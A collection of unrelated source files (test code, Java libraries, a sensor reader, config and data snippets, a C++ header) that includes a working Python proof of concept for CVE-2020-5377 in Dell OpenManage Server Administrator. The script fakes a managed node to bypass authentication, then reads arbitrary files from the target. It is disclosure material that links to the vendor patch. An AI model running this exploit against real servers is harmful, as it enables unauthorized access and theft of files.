self._setup_mock_results(host.buildbot)
cmd = ['update', '--flag=--foo']
# Unexpected passes that don't have flag-specific failure expectations
# should not be reported.
filesystem.write_text_file(flag_expectations_file, '')
TryFlag(cmd, host, MockGitCL(host, self.mock_try_results)).run()
self.assertTrue('### 0 unexpected passes' in host.stdout.getvalue())
def test_invalid_action(self):
host = MockHost()
cmd = ['invalid', '--flag=--foo']
TryFlag(cmd, host, MockGitCL(host)).run()
self.assertEqual(host.stderr.getvalue(),
'specify "trigger" or "update"\n')
| 3,537 |
809 | <filename>src/cmds/hardware/sensors/adxl345/adxl345.c
/**
* @file adxl345.c
* @brief Print adxl345 data in the endless loop
* @author <NAME> <<EMAIL>>
* @version
* @date 18.12.2019
*/
#include <stdint.h>
#include <stdio.h>
#include <drivers/sensors/adxl345.h>
int main(int argc, char **argv) {
printf("Testing adxl345 accelerometer output\n");
if (0 != adxl345_init()) {
printf("Failed to init ADXL345!\n");
return -1;
}
while (1) {
int x = adxl345_get_x();
int y = adxl345_get_y();
int z = adxl345_get_z();
printf("X: %4d Y: %4d Z: %4d\n", x, y, z);
}
}
| 279 |
2,577 | <filename>model-api/xml-model/src/main/java/org/camunda/bpm/model/xml/impl/instance/ModelElementInstanceImpl.java
/*
* Copyright Camunda Services GmbH and/or licensed to Camunda Services GmbH
* under one or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information regarding copyright
* ownership. Camunda licenses this file to you under the Apache License,
* Version 2.0; you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.camunda.bpm.model.xml.impl.instance;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
import org.camunda.bpm.model.xml.Model;
import org.camunda.bpm.model.xml.ModelBuilder;
import org.camunda.bpm.model.xml.ModelException;
import org.camunda.bpm.model.xml.impl.ModelInstanceImpl;
import org.camunda.bpm.model.xml.impl.type.ModelElementTypeImpl;
import org.camunda.bpm.model.xml.impl.type.attribute.AttributeImpl;
import org.camunda.bpm.model.xml.impl.type.reference.ReferenceImpl;
import org.camunda.bpm.model.xml.impl.util.ModelUtil;
import org.camunda.bpm.model.xml.instance.DomElement;
import org.camunda.bpm.model.xml.instance.ModelElementInstance;
import org.camunda.bpm.model.xml.type.ModelElementType;
import org.camunda.bpm.model.xml.type.ModelElementTypeBuilder;
import org.camunda.bpm.model.xml.type.attribute.Attribute;
import org.camunda.bpm.model.xml.type.reference.Reference;
/**
* Base class for implementing Model Elements.
*
* @author <NAME>
*
*/
public class ModelElementInstanceImpl implements ModelElementInstance {
/** the containing model instance */
protected final ModelInstanceImpl modelInstance;
/** the wrapped DOM {@link DomElement} */
private final DomElement domElement;
/** the implementing model element type */
private final ModelElementTypeImpl elementType;
public static void registerType(ModelBuilder modelBuilder) {
ModelElementTypeBuilder typeBuilder = modelBuilder.defineType(ModelElementInstance.class, "")
.abstractType();
typeBuilder.build();
}
public ModelElementInstanceImpl(ModelTypeInstanceContext instanceContext) {
this.domElement = instanceContext.getDomElement();
this.modelInstance = instanceContext.getModel();
this.elementType = instanceContext.getModelType();
}
public DomElement getDomElement() {
return domElement;
}
public ModelInstanceImpl getModelInstance() {
return modelInstance;
}
public ModelElementInstance getParentElement() {
DomElement parentElement = domElement.getParentElement();
if (parentElement != null) {
return ModelUtil.getModelElement(parentElement, modelInstance);
}
else {
return null;
}
}
public ModelElementType getElementType() {
return elementType;
}
public String getAttributeValue(String attributeName) {
return domElement.getAttribute(attributeName);
}
public String getAttributeValueNs(String namespaceUri, String attributeName) {
return domElement.getAttribute(namespaceUri, attributeName);
}
public void setAttributeValue(String attributeName, String xmlValue) {
setAttributeValue(attributeName, xmlValue, false, true);
}
public void setAttributeValue(String attributeName, String xmlValue, boolean isIdAttribute) {
setAttributeValue(attributeName, xmlValue, isIdAttribute, true);
}
public void setAttributeValue(String attributeName, String xmlValue,
boolean isIdAttribute, boolean withReferenceUpdate) {
String oldValue = getAttributeValue(attributeName);
if (isIdAttribute) {
domElement.setIdAttribute(attributeName, xmlValue);
}
else {
domElement.setAttribute(attributeName, xmlValue);
}
Attribute<?> attribute = elementType.getAttribute(attributeName);
if (attribute != null && withReferenceUpdate) {
((AttributeImpl<?>) attribute).updateIncomingReferences(this, xmlValue, oldValue);
}
}
public void setAttributeValueNs(String namespaceUri, String attributeName, String xmlValue) {
setAttributeValueNs(namespaceUri, attributeName, xmlValue, false, true);
}
public void setAttributeValueNs(String namespaceUri, String attributeName, String xmlValue, boolean isIdAttribute) {
setAttributeValueNs(namespaceUri, attributeName, xmlValue, isIdAttribute, true);
}
public void setAttributeValueNs(String namespaceUri, String attributeName, String xmlValue,
boolean isIdAttribute, boolean withReferenceUpdate) {
String namespaceForSetting = determineNamespace(namespaceUri, attributeName);
String oldValue = getAttributeValueNs(namespaceForSetting, attributeName);
if (isIdAttribute) {
domElement.setIdAttribute(namespaceForSetting, attributeName, xmlValue);
}
else {
domElement.setAttribute(namespaceForSetting, attributeName, xmlValue);
}
Attribute<?> attribute = elementType.getAttribute(attributeName);
if (attribute != null && withReferenceUpdate) {
((AttributeImpl<?>) attribute).updateIncomingReferences(this, xmlValue, oldValue);
}
}
private String determineNamespace(String intendedNamespace, String attributeName) {
boolean isSetInIntendedNamespace = getAttributeValueNs(intendedNamespace, attributeName) != null;
if (isSetInIntendedNamespace) {
return intendedNamespace;
}
else {
Set<String> alternativeNamespaces = modelInstance.getModel().getAlternativeNamespaces(intendedNamespace);
if (alternativeNamespaces != null)
{
for (String alternativeNamespace : alternativeNamespaces) {
if (getAttributeValueNs(alternativeNamespace, attributeName) != null) {
return alternativeNamespace;
}
}
}
// default to intended namespace
return intendedNamespace;
}
}
public void removeAttribute(String attributeName) {
Attribute<?> attribute = elementType.getAttribute(attributeName);
if (attribute != null) {
Object identifier = attribute.getValue(this);
if (identifier != null) {
((AttributeImpl<?>) attribute).unlinkReference(this, identifier);
}
}
domElement.removeAttribute(attributeName);
}
public void removeAttributeNs(String namespaceUri, String attributeName) {
Attribute<?> attribute = elementType.getAttribute(attributeName);
if (attribute != null) {
Object identifier = attribute.getValue(this);
if (identifier != null) {
((AttributeImpl<?>) attribute).unlinkReference(this, identifier);
}
}
domElement.removeAttribute(namespaceUri, attributeName);
}
public String getTextContent() {
return getRawTextContent().trim();
}
public void setTextContent(String textContent) {
domElement.setTextContent(textContent);
}
public String getRawTextContent() {
return domElement.getTextContent();
}
public ModelElementInstance getUniqueChildElementByNameNs(String namespaceUri, String elementName) {
Model model = modelInstance.getModel();
List<DomElement> childElements = domElement.getChildElementsByNameNs(asSet(namespaceUri, model.getAlternativeNamespaces(namespaceUri)), elementName);
if(!childElements.isEmpty()) {
return ModelUtil.getModelElement(childElements.get(0), modelInstance);
} else {
return null;
}
}
public ModelElementInstance getUniqueChildElementByType(Class<? extends ModelElementInstance> elementType) {
List<DomElement> childElements = domElement.getChildElementsByType(modelInstance, elementType);
if(!childElements.isEmpty()) {
return ModelUtil.getModelElement(childElements.get(0), modelInstance);
}
else {
return null;
}
}
public void setUniqueChildElementByNameNs(ModelElementInstance newChild) {
ModelUtil.ensureInstanceOf(newChild, ModelElementInstanceImpl.class);
ModelElementInstanceImpl newChildElement = (ModelElementInstanceImpl) newChild;
DomElement childElement = newChildElement.getDomElement();
ModelElementInstance existingChild = getUniqueChildElementByNameNs(childElement.getNamespaceURI(), childElement.getLocalName());
if(existingChild == null) {
addChildElement(newChild);
} else {
replaceChildElement(existingChild, newChildElement);
}
}
public void replaceChildElement(ModelElementInstance existingChild, ModelElementInstance newChild) {
DomElement existingChildDomElement = existingChild.getDomElement();
DomElement newChildDomElement = newChild.getDomElement();
// unlink (remove all references) of child elements
((ModelElementInstanceImpl) existingChild).unlinkAllChildReferences();
// update incoming references from old to new child element
updateIncomingReferences(existingChild, newChild);
// replace the existing child with the new child in the DOM
domElement.replaceChild(newChildDomElement, existingChildDomElement);
// execute after replacement updates
newChild.updateAfterReplacement();
}
@SuppressWarnings("unchecked")
private void updateIncomingReferences(ModelElementInstance oldInstance, ModelElementInstance newInstance) {
String oldId = oldInstance.getAttributeValue("id");
String newId = newInstance.getAttributeValue("id");
if (oldId == null || newId == null) {
return;
}
Collection<Attribute<?>> attributes = ((ModelElementTypeImpl) oldInstance.getElementType()).getAllAttributes();
for (Attribute<?> attribute : attributes) {
if (attribute.isIdAttribute()) {
for (Reference<?> incomingReference : attribute.getIncomingReferences()) {
((ReferenceImpl<ModelElementInstance>) incomingReference).referencedElementUpdated(newInstance, oldId, newId);
}
}
}
}
public void replaceWithElement(ModelElementInstance newElement) {
ModelElementInstanceImpl parentElement = (ModelElementInstanceImpl) getParentElement();
if (parentElement != null) {
parentElement.replaceChildElement(this, newElement);
}
else {
throw new ModelException("Unable to remove replace without parent");
}
}
public void addChildElement(ModelElementInstance newChild) {
ModelUtil.ensureInstanceOf(newChild, ModelElementInstanceImpl.class);
ModelElementInstance elementToInsertAfter = findElementToInsertAfter(newChild);
insertElementAfter(newChild, elementToInsertAfter);
}
public boolean removeChildElement(ModelElementInstance child) {
ModelElementInstanceImpl childImpl = (ModelElementInstanceImpl) child;
childImpl.unlinkAllReferences();
childImpl.unlinkAllChildReferences();
return domElement.removeChild(child.getDomElement());
}
public Collection<ModelElementInstance> getChildElementsByType(ModelElementType childElementType) {
List<ModelElementInstance> instances = new ArrayList<ModelElementInstance>();
for (ModelElementType extendingType : childElementType.getExtendingTypes()) {
instances.addAll(getChildElementsByType(extendingType));
}
Model model = modelInstance.getModel();
Set<String> alternativeNamespaces = model.getAlternativeNamespaces(childElementType.getTypeNamespace());
List<DomElement> elements = domElement.getChildElementsByNameNs(asSet(childElementType.getTypeNamespace(), alternativeNamespaces), childElementType.getTypeName());
instances.addAll(ModelUtil.getModelElementCollection(elements, modelInstance));
return instances;
}
@SuppressWarnings("unchecked")
public <T extends ModelElementInstance> Collection<T> getChildElementsByType(Class<T> childElementClass) {
return (Collection<T>) getChildElementsByType(getModelInstance().getModel().getType(childElementClass));
}
/**
* Returns the element after which the new element should be inserted in the DOM document.
*
* @param elementToInsert the new element to insert
* @return the element to insert after or null
*/
private ModelElementInstance findElementToInsertAfter(ModelElementInstance elementToInsert) {
List<ModelElementType> childElementTypes = elementType.getAllChildElementTypes();
List<DomElement> childDomElements = domElement.getChildElements();
Collection<ModelElementInstance> childElements = ModelUtil.getModelElementCollection(childDomElements, modelInstance);
ModelElementInstance insertAfterElement = null;
int newElementTypeIndex = ModelUtil.getIndexOfElementType(elementToInsert, childElementTypes);
for (ModelElementInstance childElement : childElements) {
int childElementTypeIndex = ModelUtil.getIndexOfElementType(childElement, childElementTypes);
if (newElementTypeIndex >= childElementTypeIndex) {
insertAfterElement = childElement;
}
else {
break;
}
}
return insertAfterElement;
}
public void insertElementAfter(ModelElementInstance elementToInsert, ModelElementInstance insertAfterElement) {
if (insertAfterElement == null || insertAfterElement.getDomElement() == null) {
domElement.insertChildElementAfter(elementToInsert.getDomElement(), null);
}
else {
domElement.insertChildElementAfter(elementToInsert.getDomElement(), insertAfterElement.getDomElement());
}
}
public void updateAfterReplacement() {
// do nothing
}
/**
* Removes all reference to this.
*/
private void unlinkAllReferences() {
Collection<Attribute<?>> attributes = elementType.getAllAttributes();
for (Attribute<?> attribute : attributes) {
Object identifier = attribute.getValue(this);
if (identifier != null) {
((AttributeImpl<?>) attribute).unlinkReference(this, identifier);
}
}
}
/**
* Removes every reference to children of this.
*/
private void unlinkAllChildReferences() {
List<ModelElementType> childElementTypes = elementType.getAllChildElementTypes();
for (ModelElementType type : childElementTypes) {
Collection<ModelElementInstance> childElementsForType = getChildElementsByType(type);
for (ModelElementInstance childElement : childElementsForType) {
((ModelElementInstanceImpl) childElement).unlinkAllReferences();
}
}
}
protected <T> Set<T> asSet(T element, Set<T> elements){
Set<T> result = new HashSet<T>();
result.add(element);
if (elements != null) {
result.addAll(elements);
}
return result;
}
@Override
public int hashCode() {
return domElement.hashCode();
}
@Override
public boolean equals(Object obj) {
if(obj == null) {
return false;
} else if(obj == this) {
return true;
} else if(!(obj instanceof ModelElementInstanceImpl)) {
return false;
} else {
ModelElementInstanceImpl other = (ModelElementInstanceImpl) obj;
return other.domElement.equals(domElement);
}
}
}
| 4,702 |
798 | /*
* The MIT License
*
* Copyright (c) 2019 The Broad Institute
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package picard.util;
import htsjdk.samtools.SAMSequenceDictionaryCodec;
import htsjdk.samtools.SAMSequenceRecord;
import htsjdk.samtools.reference.ReferenceSequence;
import htsjdk.samtools.reference.ReferenceSequenceFile;
import htsjdk.samtools.reference.ReferenceSequenceFileFactory;
import htsjdk.samtools.util.CloseableIterator;
import htsjdk.samtools.util.IOUtil;
import htsjdk.samtools.util.RuntimeIOException;
import htsjdk.samtools.util.SortingCollection;
import htsjdk.samtools.util.StringUtil;
import picard.PicardException;
import java.io.BufferedWriter;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.EOFException;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Iterator;
import java.util.NoSuchElementException;
/**
* Class with helper methods for generating and writing SequenceDictionary objects.
*/
public class SequenceDictionaryUtils {
static public class SamSequenceRecordsIterator implements Iterator<SAMSequenceRecord> {
final private boolean truncateNamesAtWhitespace;
final private ReferenceSequenceFile refSeqFile;
private String genomeAssembly;
private String uri;
public void setGenomeAssembly(final String genomeAssembly) {
this.genomeAssembly = genomeAssembly;
}
public void setUri(final String uri) {
this.uri = uri;
}
public void setSpecies(final String species) {
this.species = species;
}
private String species;
private ReferenceSequence nextRefSeq;
private final MessageDigest md5;
public SamSequenceRecordsIterator(File referenceSequence, boolean truncateNamesAtWhitespace) {
this.truncateNamesAtWhitespace = truncateNamesAtWhitespace;
this.refSeqFile = ReferenceSequenceFileFactory.
getReferenceSequenceFile(referenceSequence, truncateNamesAtWhitespace);
this.nextRefSeq = refSeqFile.nextSequence();
try {
md5 = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new PicardException("MD5 algorithm not found", e);
}
}
private String md5Hash(final byte[] bytes) {
md5.reset();
md5.update(bytes);
String s = new BigInteger(1, md5.digest()).toString(16);
if (s.length() != 32) {
final String zeros = "00000000000000000000000000000000";
s = zeros.substring(0, 32 - s.length()) + s;
}
return s;
}
/**
* Create one SAMSequenceRecord from a single fasta sequence
*/
private SAMSequenceRecord makeSequenceRecord(final ReferenceSequence refSeq) {
final SAMSequenceRecord ret = new SAMSequenceRecord(refSeq.getName(), refSeq.length());
// Compute MD5 of upcased bases
final byte[] bases = refSeq.getBases();
for (int i = 0; i < bases.length; ++i) {
bases[i] = StringUtil.toUpperCase(bases[i]);
}
ret.setAttribute(SAMSequenceRecord.MD5_TAG, md5Hash(bases));
if (genomeAssembly != null) {
ret.setAttribute(SAMSequenceRecord.ASSEMBLY_TAG, genomeAssembly);
}
ret.setAttribute(SAMSequenceRecord.URI_TAG, uri);
if (species != null) {
ret.setAttribute(SAMSequenceRecord.SPECIES_TAG, species);
}
return ret;
}
@Override
public boolean hasNext() {
return nextRefSeq != null;
}
@Override
public SAMSequenceRecord next() {
if (!hasNext()) {
throw new NoSuchElementException("next() was called when hasNext() was false.");
}
final SAMSequenceRecord samSequenceRecord = makeSequenceRecord(nextRefSeq);
nextRefSeq = refSeqFile.nextSequence();
return samSequenceRecord;
}
}
/**
* Encodes a sequence dictionary
*
* @param writer a Buffered writer into which the dictionary will be written
* @param samSequenceRecordIterator an iterator that produces SAMSequenceRecords
* @throws IllegalArgumentException if the iterator produces two SAMSequenceRecord with the same name
*/
public static void encodeDictionary(final BufferedWriter writer, Iterator<SAMSequenceRecord> samSequenceRecordIterator) {
final SAMSequenceDictionaryCodec samDictCodec = new SAMSequenceDictionaryCodec(writer);
samDictCodec.encodeHeaderLine(false);
// SortingCollection is used to check uniqueness of sequence names
final SortingCollection<String> sequenceNames = makeSortingCollection();
// read reference sequence one by one and write its metadata
while (samSequenceRecordIterator.hasNext()) {
final SAMSequenceRecord samSequenceRecord = samSequenceRecordIterator.next();
samDictCodec.encodeSequenceRecord(samSequenceRecord);
sequenceNames.add(samSequenceRecord.getSequenceName());
}
// check uniqueness of sequences names
final CloseableIterator<String> iterator = sequenceNames.iterator();
if (!iterator.hasNext()) {
return;
}
String current = iterator.next();
while (iterator.hasNext()) {
final String next = iterator.next();
if (current.equals(next)) {
throw new PicardException("Sequence name " + current +
" appears more than once in reference file");
}
current = next;
}
}
public static SortingCollection<String> makeSortingCollection() {
final File tmpDir = IOUtil.createTempDir("SamDictionaryNames", null);
tmpDir.deleteOnExit();
// 256 byte for one name, and 1/10 part of all memory for this, rough estimate
long maxNamesInRam = Runtime.getRuntime().maxMemory() / 256 / 10;
return SortingCollection.newInstance(
String.class,
new StringCodec(),
String::compareTo,
(int) Math.min(maxNamesInRam, Integer.MAX_VALUE),
tmpDir.toPath()
);
}
private static class StringCodec implements SortingCollection.Codec<String> {
private DataInputStream dis;
private DataOutputStream dos;
public StringCodec clone() {
return new StringCodec();
}
public void setOutputStream(final OutputStream os) {
dos = new DataOutputStream(os);
}
public void setInputStream(final InputStream is) {
dis = new DataInputStream(is);
}
public void encode(final String str) {
try {
dos.writeUTF(str);
} catch (IOException e) {
throw new RuntimeIOException(e);
}
}
public String decode() {
try {
return dis.readUTF();
} catch (EOFException e) {
return null;
} catch (IOException e) {
throw new PicardException("Exception reading sequence name from temporary file.", e);
}
}
}
}
| 3,446 |
3,212 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.nifi.minifi.commons.schema.common;
import java.util.function.Consumer;
public class StringUtil {
/**
* Returns true if the string is null or empty
*
* @param string the string
* @return true if the string is null or empty
*/
public static boolean isNullOrEmpty(String string) {
return string == null || string.isEmpty();
}
/**
* Passes the string to the consumer if it is neither null nor empty
*
* @param string the input
* @param consumer the action to perform
*/
public static void doIfNotNullOrEmpty(String string, Consumer<String> consumer) {
if (!isNullOrEmpty(string)) {
consumer.accept(string);
}
}
/**
* Passes the string to the consumer if it is either null nor empty
*
* @param string the input
* @param consumer the action to perform
*/
public static void doIfNullOrEmpty(String string, Consumer<String> consumer) {
if (isNullOrEmpty(string)) {
consumer.accept(string);
}
}
}
| 605 |
348 | {"nom":"Moivrons","circ":"6รจme circonscription","dpt":"Meurthe-et-Moselle","inscrits":383,"abs":228,"votants":155,"blancs":25,"nuls":5,"exp":125,"res":[{"nuance":"FI","nom":"<NAME>","voix":70},{"nuance":"FN","nom":"<NAME>","voix":55}]} | 96 |
778 | class ConvectionSolverSettings:
unknown_variable = "TEMPERATURE"
diffusion_variable = "CONDUCTIVITY"
velocity_variable = "VELOCITY"
Dt = 0.001
Start_time = 0.0
max_time = 0.1
output_time = 0.1
domain_size = 2
| 90 |
15,337 | <reponame>fairhopeweb/saleor<filename>saleor/graphql/shipping/resolvers.py
from prices import MoneyRange
from ...shipping import models
from ..channel import ChannelQsContext
def resolve_shipping_zones(channel_slug):
if channel_slug:
instances = models.ShippingZone.objects.filter(channels__slug=channel_slug)
else:
instances = models.ShippingZone.objects.all()
return ChannelQsContext(qs=instances, channel_slug=channel_slug)
def resolve_price_range(channel_slug):
# TODO: Add dataloader.
channel_listing = models.ShippingMethodChannelListing.objects.filter(
channel__slug=str(channel_slug)
)
prices = [shipping.get_total() for shipping in channel_listing]
return MoneyRange(min(prices), max(prices)) if prices else None
| 277 |
5,169 | <gh_stars>1000+
{
"name": "RelapSDK",
"version": "0.0.4",
"summary": "Relap.io SDK",
"homepage": "https://github.com/relap-io/relap-ios-sdk",
"license": {
"type": "MIT",
"file": "LICENSE"
},
"authors": {
"Username": "<EMAIL>"
},
"platforms": {
"ios": 7.0
},
"source": {
"git": "https://github.com/relap-io/relap-ios-sdk.git",
"tag": "0.0.4"
},
"public_header_files": "Relap SDK Classes/*.h",
"source_files": "Relap SDK Classes/**/*",
"frameworks": "Foundation",
"requires_arc": true
}
| 248 |
489 | # This is a proof of concept for CVE-2020-5377, an arbitrary file read in Dell OpenManage Administrator
# Proof of concept written by: <NAME> @daveysec with Rhino Security Labs
# More information can be found here:
# A patch for this issue can be found here:
# https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability
from xml.sax.saxutils import escape
import BaseHTTPServer
import requests
import thread
import ssl
import sys
import re
import os
import urllib3
urllib3.disable_warnings()
if len(sys.argv) < 3:
print 'Usage python auth_bypass.py <yourIP> <targetIP>:<targetPort>'
exit()
#This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909
#Also check out https://github.com/hantwister/FakeDellOM
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_POST(s):
data = ''
content_len = int(s.headers.getheader('content-length', 0))
post_body = s.rfile.read(content_len)
s.send_response(200)
s.send_header("Content-type", "application/soap+xml;charset=UTF-8")
s.end_headers()
if "__00omacmd=getuserrightsonly" in post_body:
data = escape("<SMStatus>0</SMStatus><UserRightsMask>458759</UserRightsMask>")
if "__00omacmd=getaboutinfo " in post_body:
data = escape("<ProductVersion>6.0.3</ProductVersion>")
if data:
requid = re.findall('>uuid:(.*?)<',post_body)[0]
s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:n1="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule">
<s:Header>
<wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
<wsa:RelatesTo>uuid:'''+requid+'''</wsa:RelatesTo>
<wsa:MessageID>0d70cce2-05b9-45bb-b219-4fb81efba639</wsa:MessageID>
</s:Header>
<s:Body>
<n1:SendCmd_OUTPUT>
<n1:ResultCode>0</n1:ResultCode>
<n1:ReturnValue>'''+data+'''</n1:ReturnValue>
</n1:SendCmd_OUTPUT>
</s:Body>
</s:Envelope>''')
else:
s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>''')
def log_message(self, format, *args):
return
createdCert = False
if not os.path.isfile('./server.pem'):
print '[-] No server.pem certifcate file found. Generating one...'
os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com"')
createdCert = True
def startServer():
server_class = BaseHTTPServer.HTTPServer
httpd = httpd = server_class(('0.0.0.0', 443), MyHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
thread.start_new_thread(startServer,())
myIP = sys.argv[1]
target = sys.argv[2]
def bypassAuth():
values = {}
url = "https://{}/LoginServlet?flag=true&managedws=false".format(target)
data = {"manuallogin": "true", "targetmachine": myIP, "user": "VULNERABILITY:CVE-2020-5377", "password": "<PASSWORD>", "application": "omsa", "ignorecertificate": "1"}
r = requests.post(url, data=data, verify=False, allow_redirects=False)
cookieheader = r.headers['Set-Cookie']
sessionid = re.findall('JSESSIONID=(.*?);',cookieheader)
pathid = re.findall('Path=/(.*?);',cookieheader)
values['sessionid'] = sessionid[0]
values['pathid'] = pathid[0]
return values
ids = bypassAuth()
sessionid = ids['sessionid']
pathid = ids['pathid']
print "Session: "+sessionid
print "VID: "+pathid
def readFile(target,sessid,pathid):
while True:
file = raw_input('file > ')
url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target,pathid,pathid,file)
cookies = {"JSESSIONID": sessid}
r = requests.get(url, cookies=cookies, verify=False)
print 'Reading contents of {}:\n{}'.format(file,r.content)
def getPath(path):
if path.lower().startswith('c:\\'):
path = path[2:]
path = path.replace('\\','/')
return path
readFile(target,sessionid,pathid)
| 1,990 |
1,162 | <reponame>Alex-Werner/isolated-vm<filename>src/isolate/three_phase_task.h
#pragma once
#include "node_wrapper.h"
#include "environment.h"
#include "holder.h"
#include "functor_runners.h"
#include "remote_handle.h"
#include "stack_trace.h"
#include "util.h"
#include <memory>
namespace ivm {
/**
* Most operations in this library can be decomposed into three phases.
*
* - Phase 1 [Isolate 1]: copy data out of current isolate
* - Phase 2 [Isolate 2]: copy data into new isolate, run work, copy data out of isolate
* - Phase 3 [Isolate 1]: copy results from phase 2 into the original isolate
*
* This class handles the locking and thread synchronization for either synchronous or
* asynchronous functions. That way the same code can be used for both versions of each function.
*
* These runners are invoked via: ThreePhaseTask::Run<async, T>(isolate, args...);
*
* Where:
* async = 0 -- Synchronous execution
* async = 1 -- Asynchronous execution, promise returned
* async = 2 -- Asynchronous execution, result ignored (Phase3() is never called)
* async = 4 -- Synchronous + asyncronous, original thread waits for async Phase2()
*/
class ThreePhaseTask {
private:
/**
* Contains references back to the original isolate which will be used after phase 2 to wake the
* isolate up and begin phase 3
*/
struct CalleeInfo {
RemoteTuple<v8::Promise::Resolver, v8::Context, v8::StackTrace> remotes;
node::async_context async {0, 0};
CalleeInfo(
v8::Local<v8::Promise::Resolver> resolver,
v8::Local<v8::Context> context,
v8::Local<v8::StackTrace> stack_trace
);
CalleeInfo(const CalleeInfo&) = delete;
CalleeInfo(CalleeInfo&& /*that*/) noexcept;
auto operator= (const CalleeInfo&) = delete;
auto operator= (CalleeInfo&&) = delete;
~CalleeInfo();
};
/**
* Class which manages running async phase 2, then phase 3
*/
struct Phase2Runner final : public Runnable {
std::unique_ptr<ThreePhaseTask> self;
CalleeInfo info;
bool did_run = false;
Phase2Runner(
std::unique_ptr<ThreePhaseTask> self,
CalleeInfo info
);
Phase2Runner(const Phase2Runner&) = delete;
auto operator= (const Phase2Runner&) -> Phase2Runner& = delete;
~Phase2Runner() final;
void Run() final;
};
/**
* Class which manages running async phase 2 in ignored mode (ie no phase 3)
*/
struct Phase2RunnerIgnored : public Runnable {
std::unique_ptr<ThreePhaseTask> self;
explicit Phase2RunnerIgnored(std::unique_ptr<ThreePhaseTask> self);
void Run() final;
};
auto RunSync(IsolateHolder& second_isolate, bool allow_async) -> v8::Local<v8::Value>;
public:
ThreePhaseTask() = default;
ThreePhaseTask(const ThreePhaseTask&) = delete;
auto operator= (const ThreePhaseTask&) -> ThreePhaseTask& = delete;
virtual ~ThreePhaseTask() = default;
virtual void Phase2() = 0;
virtual auto Phase2Async(Scheduler::AsyncWait& /*wait*/) -> bool {
Phase2();
return false;
}
virtual auto Phase3() -> v8::Local<v8::Value> = 0;
template <int async, typename T, typename ...Args>
static auto Run(IsolateHolder& second_isolate, Args&&... args) -> v8::Local<v8::Value> {
if (async == 1) { // Full async, promise returned
// Build a promise for outer isolate
v8::Isolate* isolate = v8::Isolate::GetCurrent();
auto context_local = isolate->GetCurrentContext();
auto promise_local = Unmaybe(v8::Promise::Resolver::New(context_local));
auto stack_trace = v8::StackTrace::CurrentStackTrace(isolate, 10);
FunctorRunners::RunCatchValue([&]() {
// Schedule Phase2 async
second_isolate.ScheduleTask(
std::make_unique<Phase2Runner>(
std::make_unique<T>(std::forward<Args>(args)...), // <-- Phase1 / ctor called here
CalleeInfo{promise_local, context_local, stack_trace}
), false, true
);
}, [&](v8::Local<v8::Value> error) {
// A C++ error was caught while running ctor (phase 1)
if (error->IsObject()) {
